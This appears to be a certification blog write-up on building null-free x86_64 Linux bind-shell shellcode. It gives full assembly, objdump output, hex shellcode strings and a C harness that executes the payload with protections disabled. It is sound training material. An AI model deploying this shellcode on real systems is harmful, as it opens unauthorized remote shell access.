28 Minute Read
Student ID: SLAE64-1611

Assignment One: Creating Shellcode to Bind a Shell Over TCP in 64bit

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert 64 Certification:
https://www.pentesteracademy.com/course?id=7

All code can be found in: https://github.com/securitychops/security-tube-slae64

All work was tested on a 64bit version of Ubuntu 18.04.1 LTS

TLDR; - JMP short Final_Shellcode


Deja Vu

For those of you who have read any of my previous blog posts relating to the x86 version of the SLAE this is going to look a little bit familiar.

Most of the assignments are going to be extremely similar in nature so a lot of the work I am going to be doing will primarily be porting my x86 assembly code over to x86_64 … it should be an interesting ride :)

A Few Differences …

Before continuing on, here is a wonderful resource for dealing with syscalls within x86_64 Linux: http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/

You can also find a less friendly version on your x86_64 Ubuntu machine located at: /usr/include/x86_64-linux-gnu/asm/uninstd_64.h

Several things to take into consideration when using a syscall on an x86_64 Linux based architecture is the convention used when dealing with parameters:

You will trigger the syscall by loading values into the rax register and pass parameters in the other registers as such:

syscall param 1 param 2 param 3 param 4 param 5 param 6
rax rdi rsi rdx r10 r8 r9


and then calling syscall which will store the return value from the syscall in rax

Part 1 of 2: Creating Shellcode to Bind a Shell Over TCP in x86_64

If you have not already read my post from the 32bit version of the SLAE (Creating Shellcode to Bind a Shell Over TCP (x86 edition)) then I would highly encourage you to do so before continuing forward since I will not be going into quite the same level of extreme detail I did in that post…

Below I present my initial port of the x86 shell-bind code that was written for the 32bit version of the course Check it out GitHub

; Student ID   : SLAE64-1611
; Student Name : Jonathan "Chops" Crosby
; Assignment 1 : Shell Bind TCP (Linux/x86_64) Assembly
; File Name    : shell-bind.nasm

global _start

section .text
_start:
    jmp real_start
    enter_password: db 'Enter the secret password to continue: ', 0xa

real_start:

    ; SYS_SOCKET    socket(2)

    ; rax : sys_socket 41
    ; rdi : int family
    ; rsi : int type
    ; rdx : int protocol

    xor rax, rax        ; need to zero our rax
                        ; so we can load it with 
                        ; the socket syscall 0x41

    mov rdi, rax        ; zeroing out rdi
    mov rsi, rdi        ; zeroing out rsi
    mov rdx, rsi        ; zeroing out rdx

    add rax, 41         ; setting rax to socket
    add rdi, 2          ; family / AF_INET
    add rsi, 1          ; type   / SOCK_STREAM
                        ; leave rdx alone since it is already 0x00

    syscall             ; make the call to socket
                        ; socketid will be in rax

    ; SYS_BIND      bind(2)

    ; rax : sys_bind 49
    ; rdi : socketid which will be in rax initially
    ; rsi : struct sokaddr *umyaddr
    ; rdx : int addrlen

    xchg rdi, rax       ; move socketid into rdi

    xor rax, rax        ; zero out rax

                        ; rdi already contains socketid
    mov rsi, rax        ; zeroing out rsi
    mov rdx, rsi        ; zeroing out rdx

    xor r9, r9          ; zero out r9
    push r9             ; pushing 0.0.0.0 into in_addr
    push word 0x5C11    ; port number (least significant 
                        ; byte first ... 0x115C is 4444)
    push word 0x02      ; AF_INET - which is 0x02

    mov rsi, rsp        ; moving stack address to rsi

    add rdx, 16         ; 16 byts long (or 32bit)

    add rax, 49         ; set rax to sys_bind

    syscall             ; make the call to bind
                        ; socketid will be in rax

    ; SYS_LISTEN    listen(2)

    ; rax : sys_listen 50
    ; rdi : socketid which is already in rdi
    ; rsi : int backlog

    xor rax, rax        ; zero out rax

                        ; socketid already in rsi
    mov rdx, rax        ; zeroing out rdx
    add rdx, 0x01       ; moving backlog number to rdx

    add rax, 50         ; setting rax to sys_listen

    syscall             ; make call to listen

    ; SYS_ACCEPT    accept(2)
    ; Returns clientid needed for dup2

    ; rax : sys_accept 43
    ; rdi : socketid already in rdi
    ; rsi : struct sockaddr *upeer_sockaddr
    ; rdx : int *upeer_addrlen

    xor rax, rax        ; zero out rax

                        ; socketid already in rsi
    mov rsi, rax        ; moving null to rsi
    mov rdx, rax        ; moving null to rdx

    add rax, 43         ; setting rax to sys_connect

    syscall             ; make call to listen

    ; sys_dup2

    xchg rdi, rax       ; moves clientid to rdi

    ; rax : sys_dup2 33
    ; rdi : already contains clientid
    ; rsi : 1 to 3 in loop

    xor r9, r9          ; zeroing out loop counter

    loopin:
        xor rax, rax    ; zero out rax
        add rax, 33     ; setting rax to sys_dup2
        mov rsi, r9     ; move fileid to duplicate
        syscall         ; call dup2
        inc r9          ; increase r9 by 0x01
        cmp r9, 3       ; compare r9 to 0x03
        jne loopin

    ; We need to check for password here
    ; 1. ask for password
    ; 2. check password
    ; sys_read

    ; letup loop to checking the password
    checkpassword:

        ; sys_write
        ; rax : 1
        ; rdi : unsigned int fd : 1 for stdout
        ; rsi : const char *buf : string
        ; rdx : size_t count : how big

        xor rax, rax                  ; zero out rax
        mov rdx, rax                  ; zero out rdx
        inc rax                       ; increase rax to 1
        mov rdi, rax                  ; move 1 into rdi
        lea rsi, [rel enter_password] ; moving enter_password
        add rdx, 39                   ; setting size enter_password

        syscall

        ; sys_read
        ; rdi : unsigned int fd : 0 for stdin
        ; rsi : char *buf : stack?
        ; rdx : size_t count : how big

        xor rax, rax ; zero out rax
        mov rdi, rax ; zero out rdi
        mov rdx, rax ; zero out rdx

        ; leave rax alone since read is 0
        mov rsi, rsp    ; set buffer to stack
        add rdx, 8      ; setting size of Password

        syscall ; calling read

        mov rdi, rsp                ; setting rdi to input buffer
        mov rax, 0x64726f7773736150 ; moving Password into buffer
        scasd                       ; scanning for a match
        jne checkpassword           ; if not a match then re-ask for password

    ; sys_execve

    ; rax : sys_execve 59
    ; rdi : const char *filename
    ; rsi : const char *const argv[]
    ; rdx : const char *const envp[]

    xor rax, rax        ; zeroing out rax
    add rax, 59         ; setting rax to sys_execve

    xor r9, r9          ; zeroing out r9
    push r9             ; pushing null to stack

    mov rbx, 0x68732f6e69622f2f     ; moving "//bin/sh"
    push rbx                        ; pushing "//bin/sh"

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ;rsp now looks like: "//bin/sh,0x0000000000000000";
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    mov rdi, rsp        ; moving the param to rdi
                        ; rdi now contains "//bin/sh,0x0000000000000000"

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ; now we look like: execve("//bin/sh,0x0000000000000000", NOT-SET-YET, NOT-SET-YET);
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    ; now we need to get 0x0000000000000000 into rdx
    push r9             ; r9 is still 0x0000000000000000 so push it to rsp
    mov rdx, rsp        ; we need to move a 0x0000000000000000 into
                        ; the third parameter in rdx

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ; now we look like: execve("//bin/sh,0x0000000000000000", NOT-SET-YET, 0x0000000000000000);
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    ; the second parameter is needs to be "//bin/sh,0x0000000000000000"
    ; which we can accomplish by moving rdi onto the stack
    ; and then moving rsp into rsi since it will be on the stack

    push rdi            ; pushing "//bin/sh,0x0000000000000000" back to the stack
    mov  rsi, rsp       ; moving the address of rdi (on the stack) to ecx

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ; now we look like: execve("//bin/sh,0x00000000000000000", *"//bin/sh,0x0000000000000000", 0x0000000000000000);
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    syscall             ; calling sys_execve

Those Pesky Nulls Are No More

So now we have an initial set of code that works, we need to now check it for nulls with the following command:

objdump -d -M intel shell-bind

which produces the following output:

shell-bind:     file format elf64-x86-64


Disassembly of section .text:

0000000000400080 <_start>:
  400080:	eb 28                	jmp    4000aa <real_start>

0000000000400082 <enter_password>:
  400082:	45 6e                	rex.RB outs dx,BYTE PTR ds:[rsi]
  400084:	74 65                	je     4000eb <real_start+0x41>
  400086:	72 20                	jb     4000a8 <enter_password+0x26>
  400088:	74 68                	je     4000f2 <real_start+0x48>
  40008a:	65 20 73 65          	and    BYTE PTR gs:[rbx+0x65],dh
  40008e:	63 72 65             	movsxd esi,DWORD PTR [rdx+0x65]
  400091:	74 20                	je     4000b3 <real_start+0x9>
  400093:	70 61                	jo     4000f6 <real_start+0x4c>
  400095:	73 73                	jae    40010a <real_start+0x60>
  400097:	77 6f                	ja     400108 <real_start+0x5e>
  400099:	72 64                	jb     4000ff <real_start+0x55>
  40009b:	20 74 6f 20          	and    BYTE PTR [rdi+rbp*2+0x20],dh
  40009f:	63 6f 6e             	movsxd ebp,DWORD PTR [rdi+0x6e]
  4000a2:	74 69                	je     40010d <loopin+0x1>
  4000a4:	6e                   	outs   dx,BYTE PTR ds:[rsi]
  4000a5:	75 65                	jne    40010c <loopin>
  4000a7:	3a 20                	cmp    ah,BYTE PTR [rax]
  4000a9:	0a                   	.byte 0xa

00000000004000aa <real_start>:
  4000aa:	48 31 c0             	xor    rax,rax
  4000ad:	48 89 c7             	mov    rdi,rax
  4000b0:	48 89 fe             	mov    rsi,rdi
  4000b3:	48 89 f2             	mov    rdx,rsi
  4000b6:	48 83 c0 29          	add    rax,0x29
  4000ba:	48 83 c7 02          	add    rdi,0x2
  4000be:	48 83 c6 01          	add    rsi,0x1
  4000c2:	0f 05                	syscall 
  4000c4:	48 97                	xchg   rdi,rax
  4000c6:	48 31 c0             	xor    rax,rax
  4000c9:	48 89 c6             	mov    rsi,rax
  4000cc:	48 89 f2             	mov    rdx,rsi
  4000cf:	4d 31 c9             	xor    r9,r9
  4000d2:	41 51                	push   r9
  4000d4:	66 68 11 5c          	pushw  0x5c11
  4000d8:	66 6a 02             	pushw  0x2
  4000db:	48 89 e6             	mov    rsi,rsp
  4000de:	48 83 c2 10          	add    rdx,0x10
  4000e2:	48 83 c0 31          	add    rax,0x31
  4000e6:	0f 05                	syscall 
  4000e8:	48 31 c0             	xor    rax,rax
  4000eb:	48 89 c2             	mov    rdx,rax
  4000ee:	48 83 c2 01          	add    rdx,0x1
  4000f2:	48 83 c0 32          	add    rax,0x32
  4000f6:	0f 05                	syscall 
  4000f8:	48 31 c0             	xor    rax,rax
  4000fb:	48 89 c6             	mov    rsi,rax
  4000fe:	48 89 c2             	mov    rdx,rax
  400101:	48 83 c0 2b          	add    rax,0x2b
  400105:	0f 05                	syscall 
  400107:	48 97                	xchg   rdi,rax
  400109:	4d 31 c9             	xor    r9,r9

000000000040010c <loopin>:
  40010c:	48 31 c0             	xor    rax,rax
  40010f:	48 83 c0 21          	add    rax,0x21
  400113:	4c 89 ce             	mov    rsi,r9
  400116:	0f 05                	syscall 
  400118:	49 ff c1             	inc    r9
  40011b:	49 83 f9 03          	cmp    r9,0x3
  40011f:	75 eb                	jne    40010c <loopin>

0000000000400121 <checkpassword>:
  400121:	48 31 c0             	xor    rax,rax
  400124:	48 89 c2             	mov    rdx,rax
  400127:	48 ff c0             	inc    rax
  40012a:	48 89 c7             	mov    rdi,rax
  40012d:	48 8d 35 4e ff ff ff 	lea    rsi,[rip+0xffffffffffffff4e]        # 400082 <enter_password>
  400134:	48 83 c2 27          	add    rdx,0x27
  400138:	0f 05                	syscall 
  40013a:	48 31 c0             	xor    rax,rax
  40013d:	48 89 c7             	mov    rdi,rax
  400140:	48 89 c2             	mov    rdx,rax
  400143:	48 89 e6             	mov    rsi,rsp
  400146:	48 83 c2 08          	add    rdx,0x8
  40014a:	0f 05                	syscall 
  40014c:	48 89 e7             	mov    rdi,rsp
  40014f:	48 b8 50 61 73 73 77 	movabs rax,0x64726f7773736150
  400156:	6f 72 64 
  400159:	af                   	scas   eax,DWORD PTR es:[rdi]
  40015a:	75 c5                	jne    400121 <checkpassword>
  40015c:	48 31 c0             	xor    rax,rax
  40015f:	48 83 c0 3b          	add    rax,0x3b
  400163:	4d 31 c9             	xor    r9,r9
  400166:	41 51                	push   r9
  400168:	48 bb 2f 2f 62 69 6e 	movabs rbx,0x68732f6e69622f2f
  40016f:	2f 73 68 
  400172:	53                   	push   rbx
  400173:	48 89 e7             	mov    rdi,rsp
  400176:	41 51                	push   r9
  400178:	48 89 e2             	mov    rdx,rsp
  40017b:	57                   	push   rdi
  40017c:	48 89 e6             	mov    rsi,rsp
  40017f:	0f 05                	syscall 


Since we wrote the code to not have any nulls we are free to convert it to shellcode. Doing so will involve borrowing the following most excellent command provided by Vivek during the SLAE64 course!

for i in $(objdump -D shell-bind.o |grep "^ " |cut -f2);do echo -n '\x'$i;done;echo


running that command against our object produces the following output:

\xeb\x28\x45\x6e\x74\x65\x72\x20\x74\x68\x65\x20\x73\x65\x63\x72\x65\x74\x20\x70\x61\x73\x73\x77\x6f\x72\x64\x20\x74\x6f\x20\x63\x6f\x6e\x74\x69\x6e\x75\x65\x3a\x20\x0a\x48\x31\xc0\x48\x89\xc7\x48\x89\xfe\x48\x89\xf2\x48\x83\xc0\x29\x48\x83\xc7\x02\x48\x83\xc6\x01\x0f\x05\x48\x97\x48\x31\xc0\x48\x89\xc6\x48\x89\xf2\x4d\x31\xc9\x41\x51\x66\x68\x11\x5c\x66\x6a\x02\x48\x89\xe6\x48\x83\xc2\x10\x48\x83\xc0\x31\x0f\x05\x48\x31\xc0\x48\x89\xc2\x48\x83\xc2\x01\x48\x83\xc0\x32\x0f\x05\x48\x31\xc0\x48\x89\xc6\x48\x89\xc2\x48\x83\xc0\x2b\x0f\x05\x48\x97\x4d\x31\xc9\x48\x31\xc0\x48\x83\xc0\x21\x4c\x89\xce\x0f\x05\x49\xff\xc1\x49\x83\xf9\x03\x75\xeb\x48\x31\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc7\x48\x8d\x35\x4e\xff\xff\xff\x48\x83\xc2\x27\x0f\x05\x48\x31\xc0\x48\x89\xc7\x48\x89\xc2\x48\x89\xe6\x48\x83\xc2\x08\x0f\x05\x48\x89\xe7\x48\xb8\x50\x61\x73\x73\x77\x6f\x72\x64\xaf\x75\xc5\x48\x31\xc0\x48\x83\xc0\x3b\x4d\x31\xc9\x41\x51\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x41\x51\x48\x89\xe2\x57\x48\x89\xe6\x0f\x05


which we can then insert into our proof of concept C program that will execute shellcode!

// Student ID   : SLAE64-1611
// Student Name : Jonathan "Chops" Crosby
// Assignment 1 : Shell Bind TCP (Linux/x86_64) Assembly
// File Name    : shellcode.c

#include<stdio.h>
#include<string.h>

//compile with: gcc shellcode.c -o shellcode -fno-stack-protector -z execstack

unsigned char code[] = \
"\xeb\x28\x45\x6e\x74\x65\x72\x20\x74\x68\x65\x20\x73\x65\x63\x72\x65\x74\x20\x70\x61\x73\x73\x77\x6f\x72\x64\x20\x74\x6f\x20\x63\x6f\x6e\x74\x69\x6e\x75\x65\x3a\x20\x0a\x48\x31\xc0\x48\x89\xc7\x48\x89\xfe\x48\x89\xf2\x48\x83\xc0\x29\x48\x83\xc7\x02\x48\x83\xc6\x01\x0f\x05\x48\x97\x48\x31\xc0\x48\x89\xc6\x48\x89\xf2\x4d\x31\xc9\x41\x51\x66\x68\x11\x5c\x66\x6a\x02\x48\x89\xe6\x48\x83\xc2\x10\x48\x83\xc0\x31\x0f\x05\x48\x31\xc0\x48\x89\xc2\x48\x83\xc2\x01\x48\x83\xc0\x32\x0f\x05\x48\x31\xc0\x48\x89\xc6\x48\x89\xc2\x48\x83\xc0\x2b\x0f\x05\x48\x97\x4d\x31\xc9\x48\x31\xc0\x48\x83\xc0\x21\x4c\x89\xce\x0f\x05\x49\xff\xc1\x49\x83\xf9\x03\x75\xeb\x48\x31\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc7\x48\x8d\x35\x4e\xff\xff\xff\x48\x83\xc2\x27\x0f\x05\x48\x31\xc0\x48\x89\xc7\x48\x89\xc2\x48\x89\xe6\x48\x83\xc2\x08\x0f\x05\x48\x89\xe7\x48\xb8\x50\x61\x73\x73\x77\x6f\x72\x64\xaf\x75\xc5\x48\x31\xc0\x48\x83\xc0\x3b\x4d\x31\xc9\x41\x51\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x41\x51\x48\x89\xe2\x57\x48\x89\xe6\x0f\x05";

main()
{
    printf("Shellcode Length:  %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}
https://github.com/securitychops/security-tube-slae64/blob/master/assignment-1/shellcode.c


which needs to be compiled with the following flags in order to disable all of the normal protections against executing dangerous code like we are about to…

gcc shellcode.c -o shellcode -fno-stack-protector -z execstack

At this point we have a fully functional application (with no stack protection) that can execute our shellcode simulating an exploitation!

Connecting from local client:

Connecting from local client

Part 2 of 2: DeNullin’ the SecurityTube Provided Bind Assembly Code

So for part two we are asked to take assembly code provided by our friends at SecurityTube for their bind shell and remove all of the nulls that they were kind enough to leave in… ;)

Their Bind Shell

global _start


_start:

	; sock = socket(AF_INET, SOCK_STREAM, 0)
	; AF_INET = 2
	; SOCK_STREAM = 1
	; syscall number 41 


	mov rax, 41
	mov rdi, 2
	mov rsi, 1
	mov rdx, 0
	syscall

	; copy socket descriptor to rdi for future use 

	mov rdi, rax


	; server.sin_family = AF_INET 
	; server.sin_port = htons(PORT)
	; server.sin_addr.s_addr = INADDR_ANY
	; bzero(&server.sin_zero, 8)

	xor rax, rax 

	push rax

	mov dword [rsp-4], eax
	mov word [rsp-6], 0x5c11
	mov word [rsp-8], 0x2
	sub rsp, 8


	; bind(sock, (struct sockaddr *)&server, sockaddr_len)
	; syscall number 49

	mov rax, 49
	
	mov rsi, rsp
	mov rdx, 16
	syscall


	; listen(sock, MAX_CLIENTS)
	; syscall number 50

	mov rax, 50
	mov rsi, 2
	syscall


	; new = accept(sock, (struct sockaddr *)&client, &sockaddr_len)
	; syscall number 43

	
	mov rax, 43
	sub rsp, 16
	mov rsi, rsp
        mov byte [rsp-1], 16
        sub rsp, 1
        mov rdx, rsp

        syscall

	; store the client socket description 
	mov r9, rax 

        ; close parent

        mov rax, 3
        syscall

        ; duplicate sockets

        ; dup2 (new, old)
        mov rdi, r9
        mov rax, 33
        mov rsi, 0
        syscall

        mov rax, 33
        mov rsi, 1
        syscall

        mov rax, 33
        mov rsi, 2
        syscall



        ; execve

        ; First NULL push

        xor rax, rax
        push rax

        ; push /bin//sh in reverse

        mov rbx, 0x68732f2f6e69622f
        push rbx

        ; store /bin//sh address in RDI

        mov rdi, rsp

        ; Second NULL push
        push rax

        ; set RDX
        mov rdx, rsp


        ; Push address of /bin//sh
        push rdi

        ; set RSI

        mov rsi, rsp

        ; Call the Execve syscall
        add rax, 59
        syscall


Like last time lets start by compiling and then running objdump to figure out all the places where we are left with nulls.

objdump -d -M intel denull


Below is the dumped object output:

denull:     file format elf64-x86-64


Disassembly of section .text:

0000000000400080 <_start>:
  400080:	b8 29 00 00 00       	mov    eax,0x29
  400085:	bf 02 00 00 00       	mov    edi,0x2
  40008a:	be 01 00 00 00       	mov    esi,0x1
  40008f:	ba 00 00 00 00       	mov    edx,0x0
  400094:	0f 05                	syscall 
  400096:	48 89 c7             	mov    rdi,rax
  400099:	48 31 c0             	xor    rax,rax
  40009c:	50                   	push   rax
  40009d:	89 44 24 fc          	mov    DWORD PTR [rsp-0x4],eax
  4000a1:	66 c7 44 24 fa 11 5c 	mov    WORD PTR [rsp-0x6],0x5c11
  4000a8:	66 c7 44 24 f8 02 00 	mov    WORD PTR [rsp-0x8],0x2
  4000af:	48 83 ec 08          	sub    rsp,0x8
  4000b3:	b8 31 00 00 00       	mov    eax,0x31
  4000b8:	48 89 e6             	mov    rsi,rsp
  4000bb:	ba 10 00 00 00       	mov    edx,0x10
  4000c0:	0f 05                	syscall 
  4000c2:	b8 32 00 00 00       	mov    eax,0x32
  4000c7:	be 02 00 00 00       	mov    esi,0x2
  4000cc:	0f 05                	syscall 
  4000ce:	b8 2b 00 00 00       	mov    eax,0x2b
  4000d3:	48 83 ec 10          	sub    rsp,0x10
  4000d7:	48 89 e6             	mov    rsi,rsp
  4000da:	c6 44 24 ff 10       	mov    BYTE PTR [rsp-0x1],0x10
  4000df:	48 83 ec 01          	sub    rsp,0x1
  4000e3:	48 89 e2             	mov    rdx,rsp
  4000e6:	0f 05                	syscall 
  4000e8:	49 89 c1             	mov    r9,rax
  4000eb:	b8 03 00 00 00       	mov    eax,0x3
  4000f0:	0f 05                	syscall 
  4000f2:	4c 89 cf             	mov    rdi,r9
  4000f5:	b8 21 00 00 00       	mov    eax,0x21
  4000fa:	be 00 00 00 00       	mov    esi,0x0
  4000ff:	0f 05                	syscall 
  400101:	b8 21 00 00 00       	mov    eax,0x21
  400106:	be 01 00 00 00       	mov    esi,0x1
  40010b:	0f 05                	syscall 
  40010d:	b8 21 00 00 00       	mov    eax,0x21
  400112:	be 02 00 00 00       	mov    esi,0x2
  400117:	0f 05                	syscall 
  400119:	48 31 c0             	xor    rax,rax
  40011c:	50                   	push   rax
  40011d:	48 bb 2f 62 69 6e 2f 	movabs rbx,0x68732f2f6e69622f
  400124:	2f 73 68 
  400127:	53                   	push   rbx
  400128:	48 89 e7             	mov    rdi,rsp
  40012b:	50                   	push   rax
  40012c:	48 89 e2             	mov    rdx,rsp
  40012f:	57                   	push   rdi
  400130:	48 89 e6             	mov    rsi,rsp
  400133:	48 83 c0 3b          	add    rax,0x3b
  400137:	0f 05                	syscall


At this point we simply need to go in and do the usual type of alterations, xor things and instead of doing a mov we will inc, add or sub where needed in order to get the values of the registers correct without the baggage of extra nulls that mov will bring!

global _start


_start:

	; sock = socket(AF_INET, SOCK_STREAM, 0)
	; AF_INET = 2
	; SOCK_STREAM = 1
	; syscall number 41 

	xor rax, rax
	mov rdi, rax
	mov rsi, rax
	mov rdx, rax
	add rax, 41
	add rdi, 2
	inc rsi
	syscall

	; copy socket descriptor to rdi for future use 

	mov rdi, rax

	; server.sin_family = AF_INET 
	; server.sin_port = htons(PORT)
	; server.sin_addr.s_addr = INADDR_ANY
	; bzero(&server.sin_zero, 8)

	xor rax, rax

	push rax

        xor r9, r9
        add r9, 2

        mov dword [rsp-4], eax
        mov word [rsp-6], 0x5c11
        mov word [rsp-8], r9w
        sub rsp, 8

	; bind(sock, (struct sockaddr *)&server, sockaddr_len)
	; syscall number 49

	xor rax, rax
	mov rdx, rax
	add rax, 49
	
	mov rsi, rsp
	add rdx, 16
	syscall

	; listen(sock, MAX_CLIENTS)
	; syscall number 50

	xor rax, rax
	mov rsi, rax
	add rax, 50
	add rsi, 2
	syscall

	; new = accept(sock, (struct sockaddr *)&client, &sockaddr_len)
	; syscall number 43
	
	xor rax, rax
	mov rsi, rax
	add rax, 43
	sub rsp, 16
	mov rsi, rsp
        mov byte [rsp-1], 16
        sub rsp, 1
        mov rdx, rsp

        syscall

	; store the client socket description 
	mov r9, rax 

        ; close parent

	xor rax, rax
	add rax, 3
        syscall

        ; duplicate sockets

        ; dup2 (new, old)
        mov rdi, r9
	xor rax, rax
	mov rsi, rax
        add rax, 33
        syscall

        add rax, 33
        add rsi, 1
        syscall

	xor rax, rax
	mov rsi, rax
        add rax, 33
        add rsi, 2
        syscall

        ; execve

        ; First NULL push

        xor rax, rax
        push rax

        ; push /bin//sh in reverse

        mov rbx, 0x68732f2f6e69622f
        push rbx

        ; store /bin//sh address in RDI

        mov rdi, rsp

        ; Second NULL push
        push rax

        ; set RDX
        mov rdx, rsp

        ; Push address of /bin//sh
        push rdi

        ; set RSI

        mov rsi, rsp

        ; Call the Execve syscall
        add rax, 59
        syscall


Which produces the following null free objdump:

denull:     file format elf64-x86-64


Disassembly of section .text:

0000000000400080 <_start>:
  400080:	48 31 c0             	xor    rax,rax
  400083:	48 89 c7             	mov    rdi,rax
  400086:	48 89 c6             	mov    rsi,rax
  400089:	48 89 c2             	mov    rdx,rax
  40008c:	48 83 c0 29          	add    rax,0x29
  400090:	48 83 c7 02          	add    rdi,0x2
  400094:	48 ff c6             	inc    rsi
  400097:	0f 05                	syscall 
  400099:	48 89 c7             	mov    rdi,rax
  40009c:	48 31 c0             	xor    rax,rax
  40009f:	50                   	push   rax
  4000a0:	4d 31 c9             	xor    r9,r9
  4000a3:	49 83 c1 02          	add    r9,0x2
  4000a7:	89 44 24 fc          	mov    DWORD PTR [rsp-0x4],eax
  4000ab:	66 c7 44 24 fa 11 5c 	mov    WORD PTR [rsp-0x6],0x5c11
  4000b2:	66 44 89 4c 24 f8    	mov    WORD PTR [rsp-0x8],r9w
  4000b8:	48 83 ec 08          	sub    rsp,0x8
  4000bc:	48 31 c0             	xor    rax,rax
  4000bf:	48 89 c2             	mov    rdx,rax
  4000c2:	48 83 c0 31          	add    rax,0x31
  4000c6:	48 89 e6             	mov    rsi,rsp
  4000c9:	48 83 c2 10          	add    rdx,0x10
  4000cd:	0f 05                	syscall 
  4000cf:	48 31 c0             	xor    rax,rax
  4000d2:	48 89 c6             	mov    rsi,rax
  4000d5:	48 83 c0 32          	add    rax,0x32
  4000d9:	48 83 c6 02          	add    rsi,0x2
  4000dd:	0f 05                	syscall 
  4000df:	48 31 c0             	xor    rax,rax
  4000e2:	48 89 c6             	mov    rsi,rax
  4000e5:	48 83 c0 2b          	add    rax,0x2b
  4000e9:	48 83 ec 10          	sub    rsp,0x10
  4000ed:	48 89 e6             	mov    rsi,rsp
  4000f0:	c6 44 24 ff 10       	mov    BYTE PTR [rsp-0x1],0x10
  4000f5:	48 83 ec 01          	sub    rsp,0x1
  4000f9:	48 89 e2             	mov    rdx,rsp
  4000fc:	0f 05                	syscall 
  4000fe:	49 89 c1             	mov    r9,rax
  400101:	48 31 c0             	xor    rax,rax
  400104:	48 83 c0 03          	add    rax,0x3
  400108:	0f 05                	syscall 
  40010a:	4c 89 cf             	mov    rdi,r9
  40010d:	48 31 c0             	xor    rax,rax
  400110:	48 89 c6             	mov    rsi,rax
  400113:	48 83 c0 21          	add    rax,0x21
  400117:	0f 05                	syscall 
  400119:	48 83 c0 21          	add    rax,0x21
  40011d:	48 83 c6 01          	add    rsi,0x1
  400121:	0f 05                	syscall 
  400123:	48 31 c0             	xor    rax,rax
  400126:	48 89 c6             	mov    rsi,rax
  400129:	48 83 c0 21          	add    rax,0x21
  40012d:	48 83 c6 02          	add    rsi,0x2
  400131:	0f 05                	syscall 
  400133:	48 31 c0             	xor    rax,rax
  400136:	50                   	push   rax
  400137:	48 bb 2f 62 69 6e 2f 	movabs rbx,0x68732f2f6e69622f
  40013e:	2f 73 68 
  400141:	53                   	push   rbx
  400142:	48 89 e7             	mov    rdi,rsp
  400145:	50                   	push   rax
  400146:	48 89 e2             	mov    rdx,rsp
  400149:	57                   	push   rdi
  40014a:	48 89 e6             	mov    rsi,rsp
  40014d:	48 83 c0 3b          	add    rax,0x3b
  400151:	0f 05                	syscall


And the shellcode just for good measure!

\x48\x31\xc0\x48\x89\xc7\x48\x89\xc6\x48\x89\xc2\x48\x83\xc0\x29\x48\x83\xc7\x02\x48\xff\xc6\x0f\x05\x48\x89\xc7\x48\x31\xc0\x50\x4d\x31\xc9\x49\x83\xc1\x02\x89\x44\x24\xfc\x66\xc7\x44\x24\xfa\x11\x5c\x66\x44\x89\x4c\x24\xf8\x48\x83\xec\x08\x48\x31\xc0\x48\x89\xc2\x48\x83\xc0\x31\x48\x89\xe6\x48\x83\xc2\x10\x0f\x05\x48\x31\xc0\x48\x89\xc6\x48\x83\xc0\x32\x48\x83\xc6\x02\x0f\x05\x48\x31\xc0\x48\x89\xc6\x48\x83\xc0\x2b\x48\x83\xec\x10\x48\x89\xe6\xc6\x44\x24\xff\x10\x48\x83\xec\x01\x48\x89\xe2\x0f\x05\x49\x89\xc1\x48\x31\xc0\x48\x83\xc0\x03\x0f\x05\x4c\x89\xcf\x48\x31\xc0\x48\x89\xc6\x48\x83\xc0\x21\x0f\x05\x48\x83\xc0\x21\x48\x83\xc6\x01\x0f\x05\x48\x31\xc0\x48\x89\xc6\x48\x83\xc0\x21\x48\x83\xc6\x02\x0f\x05\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05


Final_Shellcode:

Below are the contents of the final code needed to generate a locally tcp bound shell that is available on all IPv4 interfaces on port 4444.

Our Bind Shell Assembly Code in x86_64 (Part 1)

; Student ID   : SLAE64-1611
; Student Name : Jonathan "Chops" Crosby
; Assignment 1 : Shell Bind TCP (Linux/x86_64) Assembly
; File Name    : shell-bind.nasm

global _start

section .text
_start:
    jmp real_start
    enter_password: db 'Enter the secret password to continue: ', 0xa

real_start:

    ; SYS_SOCKET    socket(2)

    ; rax : sys_socket 41
    ; rdi : int family
    ; rsi : int type
    ; rdx : int protocol

    xor rax, rax        ; need to zero our rax
                        ; so we can load it with 
                        ; the socket syscall 0x41

    mov rdi, rax        ; zeroing out rdi
    mov rsi, rdi        ; zeroing out rsi
    mov rdx, rsi        ; zeroing out rdx

    add rax, 41         ; setting rax to socket
    add rdi, 2          ; family / AF_INET
    add rsi, 1          ; type   / SOCK_STREAM
                        ; leave rdx alone since it is already 0x00

